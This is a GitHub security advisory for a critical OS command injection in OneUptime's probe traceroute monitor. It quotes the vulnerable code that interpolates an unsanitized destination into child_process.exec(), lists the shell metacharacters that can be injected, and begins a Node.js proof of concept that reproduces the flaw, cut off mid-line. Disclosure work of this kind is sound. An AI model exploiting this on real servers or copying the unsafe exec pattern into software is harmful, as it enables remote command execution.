GitHub Security Advisory: GHSA-jmhp-5558-qxh5
Package: @oneuptime/common (NPM)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 10.0.7
Patched in: 10.0.7

Summary: OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()

Details:
## Summary

An OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.

## Details

The vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191.

The `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, then executes it via `child_process.exec()` (wrapped through `promisify`):

```typescript
// Line 13 — exec imported from child_process
import { exec } from "child_process";

// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);

// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
    destination: string,  // ← attacker-controlled
    maxHops: number,
    timeout: number,
): Promise<TraceRoute> {
    // ...
    let command: string;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${...} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    const tracePromise = execAsync(command);  // ← shell execution
```

The `destination` value originates from the public `trace()` method (line 31), which accepts `URL | Hostname | IPv4 | IPv6 | string` types. When a raw `string` is passed (line 47: `hostAddress = destination`), no validation or sanitization is performed before it reaches `performTraceroute()`.

`child_process.exec()` spawns a shell (`/bin/sh`), so any shell metacharacters (`;`, `|`, `$()`, `` ` ` ``, `&&`, `||`, `\n`) in `destination` will be interpreted, allowing full command injection.

## PoC


1. poc.cjs
```javascript
/**
 * PoC: OS Command Injection in OneUptime NetworkPathMonitor
 *
 * Replicates the exact vulnerable code path from
 * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
 */

const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);

async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
    const isMac = process.platform === "darwin";
    const isWindows = process.platform === "win32";

    let command;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    console.log(`[VULN] Constructed command: ${command}`);

    try {
        const { stdout, stderr } = await execAsync(command);
        return { stdout, stderr };
    } catch (err) {
        return { stdout: err.stdout || "", stderr: err.s